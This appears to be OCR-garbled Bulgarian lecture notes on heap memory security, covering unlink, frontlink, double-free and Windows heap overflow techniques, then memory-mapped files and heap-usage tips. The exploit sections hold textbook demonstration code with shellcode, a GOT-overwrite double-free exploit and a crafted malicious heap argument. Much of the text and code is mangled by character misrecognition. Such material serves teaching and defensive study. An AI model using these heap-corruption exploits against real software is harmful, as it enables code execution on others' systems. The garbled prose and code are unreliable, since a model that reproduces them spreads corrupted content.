60. MpenbnsaHe Ha bydep. Mornea oTbTPE. M3non3saHe 3a HeA0OPOCHBECTHO

BMbKBaHe Ha Koz, Mpumep.

Mpy AMHAMWYHOTO pasnonaraHe Ha NaMeT MOXKe Aa ce NoABU Npenb/BaHe Ha bydepa. UHPopmauma
6u1Ba 3anncBaHa U3BBH rpaHULMTE Ha bydepa KoeTo NpeaoCcTaBA Bb3MOXKHOCT Ha Hegobpoxkenaten
03 BMbKHE KoJ, C KOWTO Aa NPpOMeHM NoBegeHNETO Ha nporpamara. ToBa MOXe 4a Ce OCbLLecTBU C
TexHukute Unlink n Frontlink.

Mpumep 3a Unlink macro:

#define unlink(p, BK, FD)

{

FD = P->fd;
BK = P->bk;
FD-> bk =BK;
BK->fd = FD;
}

Mpumep 3a Kop, 3a Buffer Overflow:
int main(int argc, char *argv[])

{
char *first, *second, *third;
first = malloc(666);
second = malloc(12);
third = malloc(12);
strepy(first, argv[1]);
free(first);
free(second);
free(third);
return(0);

}

First chunk

Second chunk

Third chunk

2 4-13. Using the size field to find the start of the next chunk



First chunk 680 bytes
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e
ﬁgtes 4 bytes strlen(shellcode)
[ dummy | dummy | shellcode |B|B|B|B|B]B| ................ g
s
fd bk R
fill

Second chunk

4bytes 4bytes 4bytes 4bytes

. [even int] -4 [ fp-12 [ addr [\0]
prev size fd bk
size

Figure 4-14. Malicious argument used in unlink technique

KomaHpgarTa strcpy() e 6e3 rpaHuumM KoeTo Aonycka npenbaBaHe Ha bydepa. free(first) ocBoboxkgaBa
nbpBus 610K NnameTt.free(second); ako nameTtTa e cBo60AHa, A cNenBa Kbm NbpBuAa 610K, 3a Aa
npoBepu gaan nameTTa e cBoboaHa KomaHaaTa free() nposepasa PREV_INUSE 6uT Ha TpeTus 6/10K.
Hepobpoxkenatenat moxke Aa sanuvwe MHGopmauma B afpecHOTO NPOCTPAHCTBO Ha 2pumA 610K
npUMepHo -4, No TO3M HaunH TpeTma 610K nsrnexaa aa e 4 6alita npeau 2pua 6n0ok. free()
onepauusTa ce U3BbpLUBA U Ce cnenBa 2pusa 610K KbM MbpBUA 610K, TaKa Beye yKasaTeinTe Ha
NbpBUA 610K CI04AT KbM HegobporKkenaTeneH Koga,

KaKeo BCBWHOCT CTaBa B GnokoBEeTE NaMeT:

JaeTw oT strepy() Gnowoes

MogmeHeHy noneta (bk w fw ceoTeeTHo)
BCNEACTEME Ha overflow

II
III f
v /
v /
WF'N — BE2YE COYH CTAPTOEHA agpec Ha BEpegMTenCcKHA, BH2eOpeH Kog
4 Bocnenctere Ha 0DEAMHABEHETD Ha OCEODOASHHMTE CErMeHTA V |
VI II » noxexe I & cnen v, Coabp#adueTo Ha fw Wwe ce 3ankwe

TaM KbaeTo couM bk, T.e. — cTaHaapTHaTa gecTpykTop d-wA Wwe
fbae NoaMeHeta Taka, Ye 0a CouUW CTApTOSHA aapec Ha
BPELMTENCKWA KO



61. TexHunKaTa ‘frontlink’ 3a cpnBaHe Ha Koa. Mpumep.

Korato ce ocBoboam nameT, T ce CBbP3Ba KbM ABOMHO-CBbP3aH CNMCHK 3a obeguHeHme. ToBa ce
M3NbAHABA OT yHKUMATa(Npu Linux) frontlink(). ToBa BCbLHOCT € MaKpo, CNOKEHO B YaCTK OT KOAa,
KbAETO € HY}KHO. Mogo6Ho e Ha unlink(). YkasaTens Ha ¢pyHKUMA ce NpeHacoyBa Aa COYM KbM ApYra,
,BpeaHa” dyHKkums. Mpumep 3a Frontlink() :

#include <stdlib.h>

#include <string.h>

int main(int argc, char *argvl[])

{
char *first, *second, *third;
char *fourth, *fifith, *sixth;
first = malloc(strlen(argv[2]) +1);
second = malloc(1500);
third=malloc(12);
fourth=malloc(666);
fifth=malloc(1508);
sixth = malloc(12);
strepy(first, argv[2]);
free(fifth);
strepy(fourth, argv[1]);
free(second);
return O;

}

62. OnacHOCTK Npu ABOMHO ocBoboOKAaBaHe Ha nameT (double-free vulnerabilities).
MNpumep.
OnacHocTuTe Npu ABOIMHO 0cBobOKAaBaHe Ha MameTTa ce NoABABa NPy onuT 610K NameT Aa 6bae
ocBobogeH 2 nbTu 6e3 Aa 6bae NoKannsnpaH mexkay ocBoboxaasaHmATa.3a Aa ce 310ynotpebu ¢
OBOMHOTO ocBObOKAaBaHe Ha NameTTa TpsbBa Aa 6b4aT U3NbAHEHN 2 YCNOBUA:

*BnoKa ¢ namet TpsAbBa Aa e U30/1MpPaH B NameTTa

*MsCTOTO KbAeTo LWe 6bae noctaBeH 6/10Ka Tpabsa Aa 6bae npasHo

I Back pointer to last chunk in lst

P-> [ Size of previous chunk, if unallocated
Size of chunk, In bytes

User data

Empty bin and allocated chunk



2. double-linked list after free() — a normal situation

___ Size of chunk, in bytes
Forward pointer to next chunk in fist
Back pointer to previous chunk in list
Unused space (may be 0 bytes long
! Sizeof chunk

Bin with single free chunk

3. Abnormal situation — structures are corrupted

bin -> | Forward pointer to first chunk in fist

Back pointer to last chunk in fist
P -> Bl Size of previous chunk, if unallocated
£ Size of chunk, in bytes
\'\ Forward pointer to next chunk in it
Back pointer to previous chunk in list -
Unused space (may be 0 bytes long)
Size of chunk

Corrupted data structures after second call of free O

AKO ce NosABM 3asABKa 3a NaMeT B TO3M MOMEHT, I0KaTopa Ha NamerT Lie ce onuTa Aa NoKanusmpa 610k
oT 61H-a 1 wWwe ycnee. Unlink() makpoTo Lie ce 3ageicTBa 3a ga ce nssaam 61oka ot 6uHa, be3 aa
NpomMeHsa NOMHTbpUTE. AKO Ce NOABM Ollle efiHa 3aABKa 3a NaMeT CbC CblllaTa rosieMmnHa KaTo
pesynTar Wwe ce BbpHe cbluma 610K, KOeTo e rpellka. B Tasun cuTyauma morke aa ce nsnonssa malloc()
C Len U3Nb/HABaAHETO Ha HepobporkenateneH Koa.Mpumep:



Example program where double free vulnerability exists: 6 /6

1. static char *GOT_LOCATION - {char *)Ox0804c98c: el

2. static char shellcode(] = "
3. “\xeb\xOcjumpl2chags_ " Let be the address of strepy()
4. "\x90\x90\x90\x90\x FAx 90\ x90\x90" (4 bytes)
5. ¢ S in the global offset table —
6. int main(void) = %
7. int size = sizeof(shellcode); \\-\ murst':l':)edgﬁﬁcdl.élb bmfgost;lble
8. wvoid *shellcode_location; to find this address (for the
9. void *first, *second, *third, "fourth; current heap structures)

10. void *fifth, *sixth, *seventh; ‘\_\

11. shellcode_location = malloc(size); ~~—

12. strcpy(shellcode_location, shellcode); \__\ :

13, first = malloc(256): // thisis the target block for the exploit . 4 bytes, that will be put

14.  second = ":“’:(zzg)? in desired place: where

15. third = malloc(256); -

16.  fourth = malloc(256); GOT_LOCATON points

17. free(first); /lﬂmbmh“oﬂnﬁn = unlink() will not be called for cache

18. ffreeitﬁ?raj: now ‘first’ is put into regular bin

19. /4 Fifth = malloc(128):

frea(first); //second free() for first’

sixth = malloc(256);

“C(Cchar *%)(sixth+0))=(CGOT_LOCATION-12);
*(Cchar **)(sixth+4))=shallcode_location;
geventh = malloc(256):

! strepy(fFifth, “something™);

ol
retu
Double-free exploit code

//f

oFifst hw‘ik must not be consolidated with other free chun n freed: the bin was empty & second is not freed
«Havjng pllocated 'second’ and "fourth’ chunks (between I and III) nts the third being consolidated.
«Alldcating fifth (19) split the memory of the third

oFreemg first second time (20) sets up the double free vulnerability — when sixth
pointgr (to first) is returned. Some elaborated data are copied into this memory (lines 227
«Seventh chunk is allocated in the same memory (24). Unlink() macro copies the address of the
address of the strepy() in the global offset table (same as 'unlink’ tachnigue befors). Then when strepy

control is transferred to shellcode !

ted (21) the same chunk

is called (25),

63. IMHaMn4HO ynpasaeHme Ha namet B Windows.

HeapAlloc() — 3a ronemu 6nokose

VirtualAlloc() — 3a mankn bnoKkose

3apens ce 610K C onpeseneHa roleM1MHa B PaMKUTE Ha HYKAWUTe Ha npoueca. Tosun 610K He MmoxKe Aa
ce pesepBrpa NOBTOPHO.

pMem = VirtualAlloc(<Hauy.agpec Ha 610Kka nnm NULL>, <bpoli cTp. 3a pesepBupaHe>, MEM_Reserve,
<npaBa 3a 40CTbN>);

3azensHeTo cTaBa no cTpaHuumn(Hanpumep 4K) n no Heobxogumocr, B O u swap file ot
pesepBupaHaTa, c/ej, KOETO MOKe fa ce M3noa3Ba nameTTa. Cnel U3yepneaHeTo 1 ce reHepupa
exeption: exeption_guard_page.

EXCEPTION_GUARD_PAGE

guard page —

JoMunHWTENHD 3a0eneqa NnamMeT

HaNoON3BaHa YacCT

H3NoN3BaHe




EneMeHTH Ha BUPTYANHATA OPraHM3aUMA HA NaMeTTa:
- 4GB HbMNpoWe:, pa3feneHH Ha CTpaHMuUM; CR3 2points 1page table dir
(1024 page-tables) =1 page-table points 1024 pages
- flags for: ‘page present’; ‘page fault’; awHaMwuHo ceanane Ha cTp. Ha awck; swap file.
- EXE W DLL ce acounMpaTt cbe swap file, Be3 na ce 3anuceaT & Hero,

- Shared Gnoxoee: B agp. NPOCTPAHCTED Ha > oT 1 Npoyec, HO eQHOKPATHO 3afeneHH:
npouecl ¢H3MUECcKa NnaMeT npouec?

——
B -
——
—

JawmMTa Ha BHPT.NaMET!
* OT[. agp. NPoOCTPaHCTEA
s User/ kernel code
« DenA3anm cTp:

+** protected
P RIW;
«* *execute only
«** guard
-
»

** no access;
** copy on write

MNogenase Ha rNobanHA AaHHK M/ oY NPOLEck: “OTAENHM KONMA W OTNOMEHD PaSMHONABaHE

- Lazy evaluation

copy-on-

write

64. Cny>kebHuU CTPYKTYpPK B AMHAMUYHNA MEHMKMBHT Ha nameT B Windows.

Windows memory management (with RtIHeap)

RtlHeap is the memory manager on Windows. Uses API functions for memory management
5 sets of Windows API functions: :

1. 4K pages, reserved, committed, page ez

v

management (3) Local, global | (4) CRT memory

2. HeapCreate(), process heap, 4| memory APl functions
GetProcessHeap() vl (2) Heap memory API

3. Only for compatibility with old () Virtu e

versions L L memory manager

4. In Win32 environment (C Run-time — —
Library)

5. Discussed later

‘igure 4-23. Win32 memory management APIs [Kath 93]
RtIHeap data cTpyKTypu:
-bnokK 3a npouecute Ha cpefata — MHPOPMALLMA 33 BBTPELIHUTE CTPYKTYpH, 6pos 1 agpecuTe Ha
Xuiinoserte.
-CBo60AHM cnUCbLM: HamuMpaT ce Ha 0x178 oT HayanoTo Ha xuuna(HeapCreate()). U3non3eaT ce 3a Aa
ce cnegAat ceobogHUTe 6AOKOBE.
CoabpKaT 128 ABOMHO-CBBbP3aHM CNMCHKA 33 6/10KOBE OT CbLUMA pasmep (M3KAYEeHUe NpaBu
FreelList[0] — cbabpakaw, 6ydepn >1024 bytes)
-look-Aside lists: go 128 egHocBbp3aHM CNMCbKa 3a Mankun 61okose namet (<1K)-3a yckopeHue Ha
alloc())
-BnokoBe NameT: KOHTPOJIHA CTPYKTYPa acoumMmpaHa CbC BCAKO 3aAesieHo napye ot HeapAlloc() nam
malloc(). CTpyKTypaTa npeaxoxaa agpeca BbpHaT oT 8-Te banTa.
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Figure 4-25. FreelList data structure [Conover 04]

Cnep Kato free() unm HeapFree() namet e gobaBeHa KbM CbOTBETCTBALMA CBOHOAEH CMUCHK CbC
MHAOEKC 3a 6/10KOBE NameT CbC CbLMA pasmep, yKasaTemTe codyaT KbM CBOBOAEH CMUCHK OT CblumMsA
pa3mep WM KbM Ha4yaNoTo HA CNMCBHKa. MameTTa ce caara Ha NPaBUIHOTO M MACTO .

Self size Previous chunk | Segment Flags Unused | Tag index
size index bytes (debug)
Next chunk Previous chunk
I l I | l l l I )
0 1 2 3 4 5 6 7 8

Figure 4-28. Free chunk [Conover 04]



65. MNpenbnsaHe Ha bydep B Windows 1 aTtaku, 6asnpaHm Ha ToBa. [Mpumep. TEXHUKK

32 BMbKBaHe Ha Ko M NpeHaco4yBaHe Ha ynpaB/ieHuKe.

bydepHoTO NpenbnBaHe noA windows ce Nosy4aBa KaTto ce NpomeHun nHpopmaumata B forward nam
backward noiMHTbpUTE N3NON3BaHM B ABYCTPAHHO CBbP3aH ANCTa. ToBa NPOMEHS HOPMATHOTO
M3Nb/IHEHWE Ha NporpamaTta KbM KOETO MOMKe Aa ce AobaBu HegobpoxkenaTeneH Koa. 3a Aa MoXKe
Aa ce n3nwvaHn overflow-a HU TpabBa agpec KOMTO Aa e U3MbJIHMM, OTKPMBAHETO Ha TO3M aJpec e
TPYAHO, HO Bb3MOMHO. [lpyr HauMH e Aa ce NoJy4ym A4OoCTbMN A0 afpec eKCenlbH, KoUTo aa bbae
3aMeHEeH.

1. unsigned char shellcode[] = "\x90\x90\x90\x90";
2. unsigned char malArg[] = "0123456789012345"
"\x05\x00\x03\x00\ x00\x00\x08\x00"
"\ xb8\ x5\ x12\x00\ x40\ x90\ x40\ x00" ;

3. void mem() {

4. HANDLE hp;

5. HLOCAL hl = 0, h2 = 0, h3 = 0, h4 = 0;

6. hp = HeapCreate(0, 0x1000, 0x10000);

7 hl = HeapAllocChp, HEAP_ZERO_MEMORY, 16);
8. h2 = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 128);
9. h3 = HeapAllocChp, HEAP_ZERO_MEMORY, 16);
10. HeapFreeChp,0,h2);
a [ Gl memcpy (hl, malArg, 32);
12 h4 = HeapAlloc(Chp, HEAP_ZERO_MEMORY, 128);
3. return;
3L i
15. int _tmain(int argc, _TCHAR* argv[]) {
16. mem(Q) ;
17 return 0O;
18. "}

e A e e iy
Exploit of buffer overflow in dynamic memory on Windows

Figure 4-29.



66. CbnocTaBsaHe Ha ¢ain c OnepatnsHa nameT. CbBETM NPK yNpaBaeHMe Ha NameTTa.
Memory mapped file (acounmnpaHe Ha bainn c agpecHO NPOCTPAHCTBO OT NAaMeTTa)

Cnep ToBa, KOraTo ce 3asiBM ZOCTbM 40 CTPaHULA OT NaMeTTa, memory manager s

yeTe OT AMUCKa M Nbxa B RAM. ETO KaK ce pa3sunBa NpoLecHT:

HANDLE hFile = ::CreateFile(....) //cb3paBame file handle

HANDLE hMap = ::CreateFileMapping(hFile, ...); //manunynatop Ha file mapping object

LPVOID lpvFile = :: MapViewOfFile(hMap,.. ); // “man” Ha uenua unm Ha yact ot daina

DWORD dwfFilesize = ::GetFileSize(hFile,..)

// wnanonssame daina

::UnmapViewOfFile(IpvFile);

::CloseHandle(hMap);

::CloseHandle(hFile);

[Ba npoueca morat ga nonssat obu, hMap, T.e. Te UmaT oblia nameT (camo 3a YeTeHe).

IpvFile pa3bupa ce e pasnunueH.

3a aa umame obuwa namer: ( pyHKumaATa GlobalAlloc(..., GMEM_SHARED,..); B Win32 He npaswu shared
610K, KakTo belle B Winl6.)

O6uwa nameT, HO He OT 0bL, dpann: KakTo no-rope, 6e3 CreateFile() u c nogaBaHe Ha napam
OXFFFFFFFF Bmecto hFile. Cb3aasa ce nogeneH file-mapping obekr (Hanp m/ay npouecu) ¢ yKkasaH
pa3smep B paging ¢aiina, a He KaTo oTaeneH ¢pain. (MFC HAMa NoAApPbLIKKA Ha TO3M MEXAHU3BM —
CSharedFile npaBu o6meH Ha 06wwm aaHHK npes clipboard.)

* Hama pasnvKka m/gy rnobaneH n nokaneH heap. Bcuuko e B pamkute Ha 2GB namer 3a
NPUNOXKEHNETO.

*nonssaute ¢-unte 3a pabota c namet Ha C/C++ 1 KnacoseTe, ako HAMATE CreumasHn U3UCKBaHUS;
* cb3pgaBaiiTe CBOU, UK BMKalTe APl ¢-MM nNpu no-cneumanHu cayyau;

* uma 2 Buaa heap:

1 aBT. 3ageneH ot OC 3a npunoxeHueto(GlobalAlloc(),koaTo Buka HeapAlloc(),nnu no-necHo-
paboTa ¢ malloc/free,unn owe no-necHo- new/delete).

2. cobcTBeHU heap 610KoBe: cb3gaBaHe

hHeap = HeapCreate(,,.pasmep);

//MoXKe CMHXPOHM3MpPaH A0CTbN A0 XMna oT noseye oT 1 thread B pamKkuTe Ha npouec

3afensHe NameT OT Cb3ganeH

pHeap = HeapAlloc(hHeap, onuuu, pasmep);

ocBoboxkaasaHe - HeapFree();

Hskom cbBeTM npu paboTa cbe cobeTBeH heap

* Cb3paBaliTe nokaneH heap B pamKkuTe Ha cBouTe Knacose (Mo 1 3a Knac)

** n3baArea ce ce pparmeHauuaTa Npu NPOAbLIKMUTENHA paboTa.

** HapacTBa 6e30MacHOCTTa, MOpaaM U30naLMsaTa B PaMKK Ha Npouec

**nossonasa mognouumpaHe Ha new, delete onepatopuTe, KOHKPETHO 3a KNac, B PaMKTe Ha
KOHCTpyKTOpa. CbbtoaaBaiTe cxemara:

1. aKo He e cb3gageH, Cb3aasa ce private heap 1 ce HMLMaNU3Mpa CBbP3aH C Hero 6poad (Ha
M3NON3BaHUATA)

2. 3a4enAaT ce Heobxoanmma 6poi baliTose

3. MHKpeMeHTMpa ce bponya.

Mo aHanornyHa cxema ce npegeduHmpa n onepaums delete



Hsakou cbBeTn npu paboTa ¢ AUHAMMYHA nameT

* nocteneHHa pparmeHTauma Ha NnameTTa.

* BMKaHe Ha _heapmin() npean 3agensHe Ha rosiemy 6710KOBE 3a NPEKOMIMOHMPaHe Ha heap.
3a manku 6nokoBse delete() e gocTaTbueH;

* MUHUMM3UPaAKTE JaHHWUTE, KOMTO MOFaT Aa NonagaT B swap daina (BKapeaKTe B pecypcu nam
“UHNUMANU3NPAHM, KOHCTAHTHU AaHHK” . Te ce MeHaXXnpaT PasInNYHo)

* CTeKbT BeYe He e orpaHunyeH g0 64K v ctaBa TONKOBA roasiM, KOJKOTO € He0BX0AMMO:
rnos3BaiTe ro BMECTO AMHAM. Namer.

CbobparkeHus npu paboTa C KOHCTAHTHU AaHHM (Hanp. H1U30Be):

* EXE 1 DLL He npaBAT npobaem — Te ca eAHOKPATHO B NameTTa uau B ‘swap ¢dainna’
Toraea, 4obpe 61 610 U KOHCTAHTHWUTE AAHHM [a Ca KaTo TAX:

* Mpw paboTa c HM30Be OT TMNa CString, (KoMTo HenpecTaHHO 3aaensA/0cBob. Manku
obemu namert):

- AKO HU3BT € HENPOMEHAEM 3a LANOTO U3NbJHEHWE, AeKNapupaiiTe:

const char mystr[] = “my string”;

(cbxpaHsiBa ce 3aeaHO ¢ Koga —B ceKumsaTa .rdata Ha EXE. Te ca u3BbH swap file)

AKO HM3BT Le ce cb3aaBa KaTo C++ 06eKT ( Npe3 KOHCTPYKTOP), UMaliTe npeasua, ye B cekuma .rdata
He ce NocTaBAT 06eKTU, Cb3AaZeHM NPE3 KOHCTPYKTOP:

CString my_string(“my new constructed string”);

O6eKTbT ce KOHCTpYMpa B OTAe/Ha ceKuma ( .bss — HeMHUUManu3npaHu gaHHU, cieg, KoeTo ce
nonbABaT UHULMANM3PALLMTE FO CTOMHOCTH), CbAbPKAHMETO HA KOATO Ce BKapBa B swap ¢aiina.
(MHMUMaNU3NpaLLMTE CTOMHOCTU Ce MOMbABAT e 3apeXkaaHe Ha exe-To B MaMeTTa, T.e. Mo Bpeme
Ha M3nb/HeHMe. O4eBNAHO OBEKTLT He MOXKe Aa ce “npukaun” kbm EXE-To).

- aKO HU3bT Ce AieKapupa KaTo rnobanHa mau static npomeHMBa Npes3 KOHCTPYKTOP Ha Knac:
static CString my_str(“new instance”);

TOBa BOAM A0:

1. nocTtaBsAHe Ha CString 06eKT B .bss cekumsaTa (B swap),

2. MacuB oT cumBonuTe B .data (3a MHMLANU3MPAHWN, HEKOHCTAHTHU AaHHK) cekumsa. ToBa e oTAesHa
(HoBa) namer.

3. Konue Ha CMMBO/INTE B IMHAaMMWYHaTa NamMeT Ha BCEKM CTapTUpaH npoLec.

Hnw,o He nonaga B EXE 1 BCMYKO Xap4yun namert.

CnepoBatenHo, No-go6pe e Macus OT CUMBOJIM (MbPBUA NOAX04), OTKOIKOTO 06eKT CString.



